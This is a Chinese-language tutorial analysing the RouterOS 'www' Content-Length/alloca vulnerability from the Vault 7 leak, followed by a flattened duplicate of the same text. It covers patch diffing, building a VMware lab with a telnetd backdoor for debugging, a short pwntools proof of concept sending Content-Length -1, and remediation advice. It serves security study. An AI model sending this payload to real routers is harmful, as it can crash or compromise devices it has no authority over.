一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc
字数 1441 2025-08-25 22:59:03

RouterOS漏洞分析与利用教学文档

1. 漏洞概述

本漏洞是Vault 7泄露的RouterOS漏洞,影响6.38.5以下版本。漏洞位于www二进制文件中,涉及HTTP服务器处理Content-Length时的内存分配问题。

受影响版本:RouterOS 6.38.5以下版本
修复版本:6.38.5 (2017-Mar-09发布)
漏洞类型:栈分配不当导致的潜在缓冲区溢出

2. 漏洞分析

2.1 补丁对比

  1. 使用binwalk提取固件内容:

    binwalk -Me mikrotik-6.38.4.iso
    binwalk -Me mikrotik-6.38.5.iso
    
  2. 使用Diaphora插件进行二进制差异分析:

    • 先打开6.38.4版本的www文件(www_6384)
    • 使用Diaphora导出SQLite数据库
    • 再打开6.38.5版本的www文件(www_6385)
    • 使用Diaphora进行diff操作
  3. 关键差异点:

    • 修复后的版本移除了alloca调用
    • 改为使用string::string构造字符串
    • 漏洞版本中alloca参数为无符号数,但传入负值会导致栈顶以上数据被修改

2.2 漏洞原理

漏洞代码流程:

  1. 从HTTP请求头中获取Content-Length
  2. 将该值直接传递给alloca分配内存
  3. 由于alloca参数为无符号数,传入负值会导致异常内存分配

3. 环境搭建

3.1 安装RouterOS

  1. 使用VMware加载RouterOS ISO镜像
    • 重要:硬盘类型必须设为IDE,否则会找不到驱动
  2. 启动虚拟机后:
    • a选择所有组件
    • i开始安装
    • 一直输入y确认
  3. 安装完成后重启
    • 使用admin和空密码登录
  4. 网络配置:
    • 输入setup
    • a进行自动配置
    • 按照提示配置IP地址

3.2 添加调试工具

由于RouterOS是高度裁剪的Linux系统,需要手动添加调试工具:

  1. 准备工具:

    • busyboxgdbserver(32位版本)
  2. 添加步骤:

    • 关闭虚拟机,设置光盘镜像为Ubuntu Live CD
    • 修改引导顺序为光盘优先
    • 启动后选择"Try Ubuntu"
    • 挂载RouterOS磁盘分区:
      mount /dev/sda1 /mnt
      mount /dev/sda2 /mnt2
      
    • busyboxgdbserver复制到/bin目录(可能在sda1或sda2)
    • 创建启动脚本:
      mkdir -p /mnt/etc/rc.d/run.d
      echo '#!/bin/bash
      mkdir /ram/mybin/
      flash/bin/busybox-i686 --install -s /ram/mybin
      export PATH=/ram/mybin:$PATH
      telnetd -p 23000 -l bash' > /mnt/etc/rc.d/run.d/S99own
      chmod +x /mnt/etc/rc.d/run.d/S99own
      
    • 卸载分区并重启
  3. 验证:

    • 重启后可通过telnet连接:
      telnet 192.168.2.124 23000
      

4. 调试与POC测试

4.1 调试设置

  1. 附加到www进程:

    gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)
    
  2. 从开发机连接:

    gdb
    target remote 192.168.2.124:5050
    

4.2 POC代码

from pwn import *

def makeHeader(num):
    return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"

s1 = remote("192.168.2.124", 80)
s1.send(makeHeader(-1) + "A" * 1000)

POC说明

  • 构造一个恶意的HTTP POST请求
  • 设置Content-Length为-1
  • 发送大量数据触发漏洞

5. 漏洞利用分析

  1. 关键点:

    • alloca在栈上分配内存
    • 传入负值会导致分配异常大的内存空间
    • 可能导致栈溢出或内存破坏
  2. 潜在利用方式:

    • 通过精心构造的负值控制栈指针
    • 结合后续写入操作实现任意代码执行
  3. 限制:

    • 需要精确控制分配大小和写入数据
    • 受限于栈布局和内存保护机制

6. 修复建议

  1. 升级到RouterOS 6.38.5或更高版本
  2. 修复方案:
    • 移除不安全的alloca调用
    • 使用更安全的字符串构造方法
    • 添加对Content-Length值的合法性检查

7. 参考资源

  • 文中涉及的文件下载:
    • 链接: https://pan.baidu.com/s/1i5oznSh
    • 密码: 9r43
  • 工具:
    • binwalk: 固件提取工具
    • Diaphora: 二进制差异分析插件
    • busybox: 精简的Linux工具集
    • gdbserver: 远程调试工具
RouterOS漏洞分析与利用教学文档 1. 漏洞概述 本漏洞是Vault 7泄露的RouterOS漏洞,影响6.38.5以下版本。漏洞位于www二进制文件中,涉及HTTP服务器处理Content-Length时的内存分配问题。 受影响版本 :RouterOS 6.38.5以下版本 修复版本 :6.38.5 (2017-Mar-09发布) 漏洞类型 :栈分配不当导致的潜在缓冲区溢出 2. 漏洞分析 2.1 补丁对比 使用binwalk提取固件内容: 使用Diaphora插件进行二进制差异分析: 先打开6.38.4版本的www文件(www_ 6384) 使用Diaphora导出SQLite数据库 再打开6.38.5版本的www文件(www_ 6385) 使用Diaphora进行diff操作 关键差异点: 修复后的版本移除了 alloca 调用 改为使用 string::string 构造字符串 漏洞版本中 alloca 参数为无符号数,但传入负值会导致栈顶以上数据被修改 2.2 漏洞原理 漏洞代码流程: 从HTTP请求头中获取 Content-Length 值 将该值直接传递给 alloca 分配内存 由于 alloca 参数为无符号数,传入负值会导致异常内存分配 3. 环境搭建 3.1 安装RouterOS 使用VMware加载RouterOS ISO镜像 重要 :硬盘类型必须设为IDE,否则会找不到驱动 启动虚拟机后: 按 a 选择所有组件 按 i 开始安装 一直输入 y 确认 安装完成后重启 使用 admin 和空密码登录 网络配置: 输入 setup 按 a 进行自动配置 按照提示配置IP地址 3.2 添加调试工具 由于RouterOS是高度裁剪的Linux系统,需要手动添加调试工具: 准备工具: busybox 和 gdbserver (32位版本) 添加步骤: 关闭虚拟机,设置光盘镜像为Ubuntu Live CD 修改引导顺序为光盘优先 启动后选择"Try Ubuntu" 挂载RouterOS磁盘分区: 将 busybox 和 gdbserver 复制到 /bin 目录(可能在sda1或sda2) 创建启动脚本: 卸载分区并重启 验证: 重启后可通过telnet连接: 4. 调试与POC测试 4.1 调试设置 附加到www进程: 从开发机连接: 4.2 POC代码 POC说明 : 构造一个恶意的HTTP POST请求 设置 Content-Length 为-1 发送大量数据触发漏洞 5. 漏洞利用分析 关键点: alloca 在栈上分配内存 传入负值会导致分配异常大的内存空间 可能导致栈溢出或内存破坏 潜在利用方式: 通过精心构造的负值控制栈指针 结合后续写入操作实现任意代码执行 限制: 需要精确控制分配大小和写入数据 受限于栈布局和内存保护机制 6. 修复建议 升级到RouterOS 6.38.5或更高版本 修复方案: 移除不安全的 alloca 调用 使用更安全的字符串构造方法 添加对 Content-Length 值的合法性检查 7. 参考资源 文中涉及的文件下载: 链接: https://pan.baidu.com/s/1i5oznSh 密码: 9r43 工具: binwalk: 固件提取工具 Diaphora: 二进制差异分析插件 busybox: 精简的Linux工具集 gdbserver: 远程调试工具